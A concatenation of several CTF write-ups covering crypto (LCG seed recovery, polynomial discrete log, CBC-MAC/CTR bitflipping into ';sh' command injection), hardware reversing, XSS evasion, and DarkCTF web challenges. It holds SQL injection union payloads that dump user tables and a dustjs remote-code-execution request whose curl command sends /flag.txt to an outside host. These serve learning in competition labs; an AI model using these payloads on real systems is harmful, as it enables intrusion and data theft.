#### Recover bottom part of initial seeds product
Now let's look at the other side of `n`, so low bits.If we again refer to the prime format `SABCD`, lowest bits of two such primes multiplied have to be bottom half of bits of `D1*D2`.
But we also know that:```D1*D2 = S1*a**4%2**chunk_size * S2*a**4%2**chunk_sizeD1*D2 = S1*S2 * a**8%2**chunk_size```
So if we multiply this by `modinv(a**8, 2**chunk_size)` we will get `S1*S2 % 2**chunk_size`.And those are bottom bits of `S1*S2`.
So we can do:
```pythondef get_bottom(n, bits, chunk_size): a = 0xe64a5f84e2762be5 bottom = (n % 2 ** chunk_size) bottom = (bottom * modinv(a, 2 ** chunk_size) ** ((bits / chunk_size - 1) * 2)) % 2 ** chunk_size return bottom```
We can use this in a sanity check again:```pythondef sanity3(): s, p = gen() w, q = gen() n = p * q print(hex(s * w % 2 ** 64)) print(hex(get_bottom(n, 64 * 4, 64)))
sanity3()```
#### Recover initial seeds product
We can now simply combine the above methods:
```pythondef recover_components(n, bits, chunk_size): top = get_top(n, bits, chunk_size) bottom = get_bottom(n, bits, chunk_size) return (top << chunk_size) + bottom, ((top - 1) << chunk_size) + bottom```
We return 2 values, to account for potential off-by-one in top part of the bits.
### Recover initial seeds from the product and factor N
Now that we know the product of initial seeds we want to split it.The seed size is too large to brute-force this, but notice that there are not that many potential options here!The idea is that the prime factors of the product we have, are also prime factors of both of the seeds.
This means we can factor the seeds product, and then check every possible selection of prime factors, and consider this as factorization of one of the seeds.
1. Test every set from powerset over `seeds product` factors2. Multiply values in the current set, to get seed_candidate3. Generate value based on given seed4. If value is a prime, check if it divides `n`
```pythonfor factors_for_candidate in powerset(primes): seed_candidate = multiply(factors_for_candidate) p = gen_from_seed(seed_candidate, 1024, 64) if p is not None: print(hex(seed_candidate), p) q = n / p d = modinv(e, (p - 1) * (q - 1)) print(rsa_printable(c, d, n))```
Two potential `seeds products` we get for task inputs are `(227963529990382503519930590718284598961L, 227963529990382503501483846644575047345L)`
We get factors from factordb:
```primes = [11, 61, 443, 21751, 1933727, 53523187, 340661278587863]primes = [3, 5, 41, 43, 509, 787, 31601, 258737, 28110221, 93627982031]```
And once we run the above loop we quickly get: `CTF{__donald_knuths_lcg_would_be_better_well_i_dont_think_s0__}` |
Original Writeup: [https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/bsidesbos_2020/Warmups/Baseball](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/bsidesbos_2020/Warmups/Baseball)# BaseballI found this baseball... but... it doesn't really look like a baseball?
Download the file below.
[Download file -- see github writeup]
# Flag```shellflag{wow_you_hit_a_homerun_and_really_ran_the_bases_there}```
# SolutionOpening the file - it appears to be a base encoded string.
Trial-n-error...came acrosse this particular combination:from base64 -> from base32 -> from base 58 -> flag.[https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)From_Base32('A-Z2-7%3D',true)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',true)&input=VHpSYVZVTlZNbFJOUlRSSVFUWk1TRkJHV2tkVE5WcFRTelZaVlUxWlNsbElRazVFUjAwelJFZEtUa2hCVlRKV1NrSkhWa05XTWxsUFJsVkZTek15UkU5R1RVVk5Na05hUjBZMVJVMVZVbHBOVWxOSFMxSlNXRTlDUTFWVlUxcFpTazR5U0VGV1ZGVlBWVEpHUXpKRFYwMDBXbFV5VVZOSFNscEJWRk5OVVQwPQ](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)From_Base32('A-Z2-7%3D',true)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',true)&input=VHpSYVZVTlZNbFJOUlRSSVFUWk1TRkJHV2tkVE5WcFRTelZaVlUxWlNsbElRazVFUjAwelJFZEtUa2hCVlRKV1NrSkhWa05XTWxsUFJsVkZTek15UkU5R1RVVk5Na05hUjBZMVJVMVZVbHBOVWxOSFMxSlNXRTlDUTFWVlUxcFpTazR5U0VGV1ZGVlBWVEpHUXpKRFYwMDBXbFV5VVZOSFNscEJWRk5OVVQwPQ) |
# Basics (hardware, 50p, 280 solved)
## Description
In the task we get 2 source files:- [main](https://raw.githubusercontent.com/TFNS/writeups/master/2020-08-24-GoogleCTF/basics/main.cpp)- [system verilog checker](https://raw.githubusercontent.com/TFNS/writeups/master/2020-08-24-GoogleCTF/basics/check.sv)
We can also connect to remote server, where this code is running.
## Static code analysis
### Main
Main is pretty simple:1. Read input character2. Strip most significant bit3. Feed to the circuit4. Simulate clock tick, so the input goes through the circuit5. Loop at most 100 times, or when user provides newline6. Check the state of `check->open_safe` circuit outpupt, and give the flag
Note: since the flag is sent when we match input to the circuit, it's safe to assume that our input is NOT the flag, but rather some random string.
### Password checker
The important part here is the system verilog circuit which verifies the password.Since we don't know it, we just tried to guess-timate /check the syntaxt and re-write this logic into python.
Input is marked as:```input [6:0] data```so there are 7 bits of input, which matches what `main` is feeding.
Then we have:
```verilogreg [6:0] memory [7:0];```
So memory is 8 element array of 7 bit registers.Enough to hold 8 bytes of input.
There is also:
```verilogreg [2:0] idx = 0;```So 3 bit register for holding index, therefore it's enough to count 0..7, as much as our input array can have.
This all suggests password length of 8.
Next entry is:
```verilogwire [55:0] magic = { {memory[0], memory[5]}, {memory[6], memory[2]}, {memory[4], memory[3]}, {memory[7], memory[1]}};```
This is 56 bit array, created by concatenation of values in `memory`, so our inputs.It concatenates pairs of input bytes, and then combines this in a single bitstream.Keep in mind bit order during this concatenation!It is:
```memory[0][7], ..., memory[0][0], memory[1][7], ...,memory[1][0]```
Where `memory[0][7]` is MSB and `memory[0][0]` is LSB of `memory[0]` entry.
This is important, because if you hold a binary value in, for example, python, bit order is inverted compared to this!Eg. `D` is `68` or `0b1000100`, but in such case `val[0]` would return MSB and not LSB.
Then we have:
```verilogwire [55:0] kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] };```
Again a 56 bit array, created by concatenating bits from `magic` array.
Then state of the password checker is done via:
```verilogassign open_safe = kittens == 56'd3008192072309708;```
So basically `kittens` have to be equal to this 56 bit decimal number `3008192072309708`
Lastly we have:
```verilogalways_ff @(posedge clk) begin memory[idx] <= data; idx <= idx + 5;end```
So data are not filling memory in consecutive order.Notice that `idx` is bumped by 5, and we know `idx` is counting `mod 8`, so we're filling memory in order 0, 5, 2, 7, 4, 1, 6, 3
### Pythonized checker
Now that we know what the checker does, we can implement this in python:
```pythondef encrypt(input_data): memory = [None for _ in range(8)] idx = 0 for data in input_data: memory[idx] = bin(ord(data)).replace("0b", "").rjust(7, '0') idx = (idx + 5) % 8 magic = memory[0] + memory[5] + memory[6] + memory[2] + memory[4] + memory[3] + memory[7] + memory[1] magic = magic[::-1] # if we access via index magic[0] is LSB not MSB as in our string magic, so invert here kittens = magic[0:10][::-1] + magic[22:42][::-1] + magic[10:22][::-1] + magic[42:56][::-1] # each bit chunk has inverted bit order res = int(kittens, 2) return res```
## Solver
Now we need to implement inverse function.
First we can just turn output value into bitstream, and then we want to get back from `kittens` to `magic`:
```pythondef recover_magic(kittens): idx = 0 magic = [None for _ in range(56)] for i in range(9, -1, -1): magic[i] = kittens[idx] idx += 1 for i in range(41, 21, -1): magic[i] = kittens[idx] idx += 1 for i in range(21, 9, -1): magic[i] = kittens[idx] idx += 1 for i in range(55, 41, -1): magic[i] = kittens[idx] idx += 1 magic = magic[::-1] magic = ''.join(magic) return magic```
We know which bit ranges where going to next kittens bits, so we can read them back.
Rest of the decryption is quite simple.Once we have `magic`, we can split it in 7-bit blocks, and put them back in original order.Finally we want to invert the permutation introduced by `idx+5 %8`:
```pythondef decrypt(target): kittens = bin(target).replace("0b", "").rjust(56, '0') magic = recover_magic(kittens) chunks = chunk(magic, 7) memory = [chunks[0], chunks[7], chunks[3], chunks[5], chunks[4], chunks[1], chunks[2], chunks[6]] shuffled_input = [chr(int(x, 2)) for x in memory] input_perm = [0, 5, 2, 7, 4, 1, 6, 3] res = [None for _ in range(8)] for i, s in enumerate(input_perm): res[s] = shuffled_input[i] return ''.join(res)```
We can check this with a simple sanity check:
```pythondef sanity(): input_data = "ABCDEFGH" enc = encrypt(input_data) dec = decrypt(enc) assert input_data == dec
sanity()```
So if we reversed the checker logic correctly, our decrypt should be valid as well.There is only one way to find out -> decrypt 3008192072309708 and send to the server.Decryption gives `7LoX%*_x` and if we submit this to the server we get `CTF{W4sTh4tASan1tyCh3ck?}` |
# Cryptosh (crypto, 486p, 4 solved)
## Description
In the task we get the [server source code](https://raw.githubusercontent.com/TFNS/writeups/master/2020-09-25-BalCCon/cryptosh/cryptsh.py)We can also connect to remote server, where this code is running.
## Code analysis
The code allows us to do 2 things:
- Sign selected command- Execute signed command
### Signing commands
We can only sign command form a selected list:
- exit- echo- ls
We can pass parameters to those commands, but they are escaped, so there is no way to do a simple shell injection here.A valid command is signed by AES CBC-MAC and encrypted using AES-CTR with the same key, and nonce is actually equal to first 12 bytes of CBC IV.
The payload which is actually signed is `exec selected_command parameters`.
### Executing commands
We can submit any signed command, it will get decrypted, CBC-MAC will be checked and the command will get executed if it's valid.
## Vulnerability
Notice that both encryption methods used here have a very similar issue - they are prone to bitflipping attacks.AES-CTR is a stream cipher, so a keystream is XORed with plaintext to get ciphertext, and vice versa.This means that if we XOR `k-th` character of the ciphertext with value `X` then after decryption the plaintext will have `k-th` character XORed with value `X`.So we can easily sign some payload, and then bitflip the ciphertext to get ciphertext for some plaintext of our choosing.
MAC is supposed to prevent this, however due to CBC mode it's not perfect.In CBC mode ciphertext is XORed with IV after decryption to recover plaintext.This means that if we XOR `k-th` byte of the IV with value `X` then after decryption `k-th` character of plaintext will be XORed with `X`.We control IV so we can do that.
A small issue here is that first 12 bytes of IV are also used as CTR nonce, and therefore we cannot touch them, because if we do, the CTR keystream will change and our ciphertext will not decrypt properly anymore.
This means we can only modify last 4 characters of the IV, but this is more than enough to make a shell injection.In fact we could pull this off with changing only 1 byte, by flipping something to `;`
## Solver
The idea is to:
1. Perform `sign_command echo AAAAA`, which will sign for us `exec echo AAAAA\1`.2. XOR the ciphertext to get `exec echo AA;sh\1` instead.3. XOR the IV in similar fashion.4. Construct new payload and execute it
```pythondef main(): host = "pwn.institute" port = 36224 s = nc(host, port) print(receive_until(s, '>')) send(s, "sign_command echo AAAAA") signed = receive_until(s, '>')[:-2]
enc = base64.b64decode(signed) iv = enc[:BLOCK_SIZE] mac = enc[-BLOCK_SIZE:] data = enc[BLOCK_SIZE:-BLOCK_SIZE]
padded_line = 'exec echo AAAAA\1' target = 'exec echo AA;sh\1' flips = xor_string(target, padded_line)
new_data = xor_string(data, flips) new_iv = xor_string(iv, flips) new_payload = base64.b64encode(new_iv + new_data + mac) send(s, new_payload)
interactive(s)
send(s, "quit") print(receive_until(s, '.'))
main()```
And we now have a reverse shell on the server which we can use to `cat flag` and get `BCTF{why_us3_SSH_wh3n_y0u_c4n_r0ll_y0ur_0wn_crypt0}` |
## [Original/Source Writeup](https://bigpick.github.io/TodayILearned/articles/2020-10/b01lersbootcamp#reindeer-flotilla)
The website is just a simple page that echos back whatever we input in a text field.
From the description, we need to execute XSS. However, `<alert>` is blocked and not able to be entered into the box. Google searching for XSS alternative payloads to circumvent filtering, we find this [XSS filter evasion cheat sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet).
In the page, we find the following payload:
```\xxs link\</a\>```
We are allowed to post this in the box, and when moused over, successfully triggers the XSS dumping the cookies (followed by our flag).

Flag is `flag[y0u_sh0uldnt_h4v3_c0m3_b4ck_flynn]` |
# DLPoly (crypto, 676p, 28 solved)
## Description
In the task we get some [sage results](https://raw.githubusercontent.com/TFNS/writeups/master/2020-07-31-InCTF/dlpoly/out.txt)We have here a `Polynomial Ring` over `GF(p)` and a discrete logarithm problem to solve.
The data provided are not very accurate:
- They seemingly provide `G^x` while in reality it's `G^x % n`- Task claims the unknown part of the flag is 7 bytes while in reality it's only 6
Anyway, we know polynomial `n` and `ct = G^flag % n` and our task is to recover the flag.
## Solution
### Reduce the problem a bit
From solving RSA Poly we know that `phi(n)` for polynomials in `PolynomialRing(GF(p))` is `(p^f1.degree()-1) * (p^f2.degree()-1) * ....(p^fk.degree()-1)` where `n = f1*f2*...*fk`, so `f` are factors of `n`.
We start off by noticing that:
```ct = g^flag mod nct = g^(k*phi(n) + flag%phi(n)) mod n [for some integer k]// using Euler totient theoremct = g^(flag%phi(n)) mod n// using this phi(n) for polynomialsct = g^(flag%(p^f1.degree()-1)) mod f1```
lowest degree of `n` factor is `6` and `p^6-1 > flag` so we effectively just need to solve this logarithm:
```pythonct = g^flag mod f1```
In reality we initially thought we will need this step to implement Pohlig-Hellman algorithm, so calculate DLP over all factors of `n` and combine via `CRT`, but it turned out the value was so small, it was not needed at all.
### Solve DLP over polynomial ring
While we just reduced polynomials to smaller, we still actually need to solve DLP.Notive that we're missing only 6 bytes (even for 7, as task originally suggested, it's still doable).
We will use Baby-Step-Giant-Step for this, because it's the only DLP algorithm we can quickly implement:
```pythondef baby_step_giant_step(step, modulo, ct, pt): known_small_powers = {0: 1} prev = 1 for i in range(1, step): curr = (prev * pt) % modulo known_small_powers[curr] = i prev = curr print("Precomputed smalls") subtractor = inverse_mod(pt ^ step % modulo, modulo) x = ct i = 0 while x not in known_small_powers: i += 1 x = (x * subtractor) % modulo return step * i + known_small_powers[x]```
We can verify this with simple sanity check on small numbers:
```pythonp = 35201P.<x>=PolynomialRing(GF(p))n = P(1629*x^256 + 25086*x^255 + 32366*x^254 + 21665*x^253 + 24571*x^252 + 20588*x^251 + 17474*x^250 + 30654*x^249 + 31322*x^248 + 23385*x^247 + 14049*x^246 + 27853*x^245 + 18189*x^244 + 33130*x^243 + 29218*x^242 + 3412*x^241 + 28875*x^240 + 1550*x^239 + 15231*x^238 + 32794*x^237 + 8541*x^236 + 23025*x^235 + 21145*x^234 + 11858*x^233 + 34388*x^232 + 21092*x^231 + 22355*x^230 + 1768*x^229 + 5868*x^228 + 1502*x^227 + 30644*x^226 + 24646*x^225 + 32356*x^224 + 27350*x^223 + 34810*x^222 + 27676*x^221 + 24351*x^220 + 9218*x^219 + 27072*x^218 + 21176*x^217 + 2139*x^216 + 8244*x^215 + 1887*x^214 + 3854*x^213 + 24362*x^212 + 10981*x^211 + 14237*x^210 + 28663*x^209 + 32272*x^208 + 29911*x^207 + 13575*x^206 + 15955*x^205 + 5367*x^204 + 34844*x^203 + 15036*x^202 + 7662*x^201 + 16816*x^200 + 1051*x^199 + 16540*x^198 + 17738*x^197 + 10212*x^196 + 4180*x^195 + 33126*x^194 + 13014*x^193 + 16584*x^192 + 10139*x^191 + 27520*x^190 + 116*x^189 + 28199*x^188 + 31755*x^187 + 10917*x^186 + 28271*x^185 + 1152*x^184 + 6118*x^183 + 27171*x^182 + 14265*x^181 + 905*x^180 + 13776*x^179 + 854*x^178 + 5397*x^177 + 14898*x^176 + 1388*x^175 + 14058*x^174 + 6871*x^173 + 13508*x^172 + 3102*x^171 + 20438*x^170 + 29122*x^169 + 17072*x^168 + 23021*x^167 + 29879*x^166 + 28424*x^165 + 8616*x^164 + 21771*x^163 + 31878*x^162 + 33793*x^161 + 9238*x^160 + 23751*x^159 + 24157*x^158 + 17665*x^157 + 34015*x^156 + 9925*x^155 + 2981*x^154 + 24715*x^153 + 13223*x^152 + 1492*x^151 + 7548*x^150 + 13335*x^149 + 24773*x^148 + 15147*x^147 + 25234*x^146 + 24394*x^145 + 27742*x^144 + 29033*x^143 + 10247*x^142 + 22010*x^141 + 18634*x^140 + 27877*x^139 + 27754*x^138 + 13972*x^137 + 31376*x^136 + 17211*x^135 + 21233*x^134 + 5378*x^133 + 27022*x^132 + 5107*x^131 + 15833*x^130 + 27650*x^129 + 26776*x^128 + 7420*x^127 + 20235*x^126 + 2767*x^125 + 2708*x^124 + 31540*x^123 + 16736*x^122 + 30955*x^121 + 14959*x^120 + 13171*x^119 + 5450*x^118 + 20204*x^117 + 18833*x^116 + 33989*x^115 + 25970*x^114 + 767*x^113 + 16400*x^112 + 34931*x^111 + 7923*x^110 + 33965*x^109 + 12199*x^108 + 11788*x^107 + 19343*x^106 + 33039*x^105 + 13476*x^104 + 15822*x^103 + 20921*x^102 + 25100*x^101 + 9771*x^100 + 5272*x^99 + 34002*x^98 + 16026*x^97 + 23104*x^96 + 33331*x^95 + 11944*x^94 + 5428*x^93 + 11838*x^92 + 30854*x^91 + 18595*x^90 + 5226*x^89 + 23614*x^88 + 5611*x^87 + 34572*x^86 + 17035*x^85 + 16199*x^84 + 26755*x^83 + 10270*x^82 + 25206*x^81 + 30800*x^80 + 21714*x^79 + 2088*x^78 + 3785*x^77 + 9626*x^76 + 25706*x^75 + 24807*x^74 + 31605*x^73 + 5292*x^72 + 17836*x^71 + 32529*x^70 + 33088*x^69 + 16369*x^68 + 18195*x^67 + 22227*x^66 + 8839*x^65 + 27975*x^64 + 10464*x^63 + 29788*x^62 + 15770*x^61 + 31095*x^60 + 276*x^59 + 25968*x^58 + 14891*x^57 + 23490*x^56 + 34563*x^55 + 29778*x^54 + 26719*x^53 + 28613*x^52 + 1633*x^51 + 28335*x^50 + 18278*x^49 + 33901*x^48 + 13451*x^47 + 30759*x^46 + 19192*x^45 + 31002*x^44 + 11733*x^43 + 29274*x^42 + 11756*x^41 + 6880*x^40 + 11492*x^39 + 7151*x^38 + 28624*x^37 + 29566*x^36 + 33986*x^35 + 5726*x^34 + 5040*x^33 + 14730*x^32 + 7443*x^31 + 12168*x^30 + 24201*x^29 + 20390*x^28 + 15087*x^27 + 18193*x^26 + 19798*x^25 + 32514*x^24 + 25252*x^23 + 15090*x^22 + 2653*x^21 + 29310*x^20 + 4037*x^19 + 6440*x^18 + 16789*x^17 + 1891*x^16 + 20592*x^15 + 11890*x^14 + 25769*x^13 + 29259*x^12 + 23814*x^11 + 17565*x^10 + 16797*x^9 + 34151*x^8 + 20893*x^7 + 2807*x^6 + 209*x^5 + 3217*x^4 + 8801*x^3 + 21964*x^2 + 16286*x + 12050)
import randomfactors = n.factor()bits = 24g = P.gen()flag = random.randint(2**bits,2**(bits+1))s = pow(g, flag, n)f1 = factors[0][0]a1 = s%f1d1 = f1.degree()assert s%f1 == pow(g, (flag % (p^d1-1)),f1)flag_mod = baby_step_giant_step(isqrt(flag), f1, a1, g)print(flag_mod)assert flag_mod == flag % (p**d1-1)```
The idea of the algorithm is rather simple, a classic meet-in-the-middle.First you compute every possible `low bits` part of the logarithm, and then you do `big steps` by movign over the `high bits`, and check if combined you reach your target.
We could improve this a bit by excluding some values, since we know it should be printable ascii.We also initially thought it's 7 bytes, and implemented a fancy version which split the range in half so 3.5 bytes for small and 3.5 bytes for large step...
Since we need 6 bytes, we can split in half, and thus `step = 2**24`.This will require `2**24` memory and `2 * 2**24` computation, but it's still just few GB of RAM and few minutes to run.
We can now just plug in the original secret value and after few minutes we recover: `inctf{bingo!}` |
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.

I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
